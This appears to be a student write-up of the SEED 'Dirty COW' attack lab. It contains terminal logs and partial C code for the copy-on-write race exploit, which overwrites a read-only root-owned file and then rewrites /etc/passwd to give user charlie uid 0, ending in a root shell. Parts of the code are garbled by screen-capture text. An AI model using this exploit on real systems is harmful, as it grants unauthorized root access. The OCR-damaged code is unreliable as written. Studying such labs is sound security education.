Dirty Cow Attack Lab

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### Task 2.1

```
[11/23/2020 12:16] seed@ubuntu:/$ sudo
usage: sudo [-D level] -h | -K | -k | -V
usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user
            name | #uid]
usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user
            name] [-u user name|#uid] [-g groupname|#gid] [command]
usage: sudo [-AbEHknPS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u
            user name|#uid] [-g groupname|#gid] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u
            user name|#uid] file ...
[11/23/2020 12:17] seed@ubuntu:/$ sudo touch zzz
[sudo] password for seed:
[11/23/2020 12:18] seed@ubuntu:/$ ls
bin
      etc
                       lib
                                        sbin
                                                  tmp
                                   opt
                       lost+found proc selinux
boot
      home
cdrom
                       media
                                  root srv
                                                  var
                       mnt
                                   run
[11/23/2020 12:18] seed@ubuntu:/$ sudo chmod 644 /zzz
[11/23/2020 12:19] seed@ubuntu:/$ sudo gedit /zzz
[11/23/2020 12:20] seed@ubuntu:/$ sudo gedit /zzz
```

We began by creating the zzz file, then changed the file permissions to "644", giving it write permissions.

```
111111222222333333
```

We then wrote to the "zzz" file the numbers seen above.

```
^C[11/23/2020 12:20] seed@ubuntu:/$ sudo gedit /zzz
[11/23/2020 12:24] seed@ubuntu:/$ ls -l /zzz
-rw-r--r-- 1 root root 19 Nov 23 12:20 /zzz
[11/23/2020 12:24] seed@ubuntu:/$ echo 99999 > /zzz
bash: /zzz: Permission denied
[11/23/2020 12:24] seed@ubuntu:/$
```

Afterward we tried to write to the file but permission was denied.

## Task 2.2

```
← Undo →
        Open 🔻 🔼 Save
*cow_attack.c *
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map:
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;
  // Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);
  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
  // Find the position of the target area
  char *position = strstr(map, "222222");
```

We then added the cow\_attack.c file with the main thread to call to the following tasks.

# Task 2.3 & 2.4

We then added write and madadvise threads to write to the "zzz" file to change the "222222" portion of the text to "\*\*\*\*\*\*" and have the page point back to the original memory.

### **Task 2.5**

```
[11/23/2020 13:06] seed@ubuntu:/$ sudo gedit cow_attack.c
[11/23/2020 13:09] seed@ubuntu:/$ sudo gcc cow_attack.c -lpthread
[11/23/2020 13:09] seed@ubuntu:/$ a.out
^C
```

We then compiled and ran the cow\_attack.c file using lpthread and exited approximately 20 seconds later.

```
[11/23/2020 13:12] seed@ubuntu:/$ more zzz
111111*****33333
[11/23/2020 13:12] seed@ubuntu:/$
```

We then viewed the file to see that the "222222" had been changed to "\*\*\*\*\*".

### Task 2

```
[11/24/2020 11:15] seed@ubuntu:~$ sudo adduser charlie
[sudo] password for seed:
Adding user `charlie' ...
Adding new group 'charlie' (1002) ...
Adding new user 'charlie' (1001) with group 'charlie' ...
Creating home directory '/home/charlie' ...
Copying files from '/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for charlie
Enter the new value, or press ENTER for the default
        Full Name []: charlie
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] Y
```

We began the second task by creating the account "Charlie".

```
[11/24/2020 11:21] seed@ubuntu:~$ cat /etc/passwd | grep charlie charlie:x:1001:1002:charlie,,,:/home/charlie:/bin/bash
```

Then we viewed the permissions on the account to see that it was set to "1001:1002" indicating there were no root privileges.

```
int main(int argc, char *argv[])
 pthread t pth1,pth2;
 struct stat st;
 int file size;
 // Open the target file in the read-only mode.
 int f=open("/etc/passwd", O_RDONLY);
 // Map the file to COW memory using MAP PRIVATE.
 fstat(f, &st);
 file size = st.st size;
 map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
 // Find the position of the target area
 char *position = strstr(map, "charlie:x:1001");
 // We have to do the attack using two threads.
 pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
 pthread_create(&pth2, NULL, writeThread, position);
 // Wait for the threads to finish.
 pthread_join(pth1, NULL);
        ipin(pth2, NULL);
   Trash
 return 0;
               md(void *arg)
   Ubuntu One
 char *content= "charlie:x:0000";
 off_t offset = (off_t) arg;
 int f=open("/proc/self/mem", O_RDWR);
 while(1) {
   // Move the file pointer to the corresponding position.
   lseek(f, offset, SEEK_SET);
   // Write to the memory.
   write(f, content, strlen(content));
```

We then changed to cow attack code to reflect a destination to the etc/passwd file then changed the read portion to "1001" and the write to "0000" which will give Charlie root access.

```
[11/24/2020 11:56] seed@ubuntu:/$ sudo gedit cow_attack.c
[11/24/2020 11:58] seed@ubuntu:/$ sudo gcc cow_attack.c -lpthread
[11/24/2020 11:58] seed@ubuntu:/$ a.out
^C
[11/24/2020 11:59] seed@ubuntu:/$ su charlie
Password:
root@ubuntu:/# id
uid=0(root) gid=1002(charlie) groups=0(root),1002(charlie)
```

After compiling and running the modified code we switched over to the Charlie account to see it had gained root access.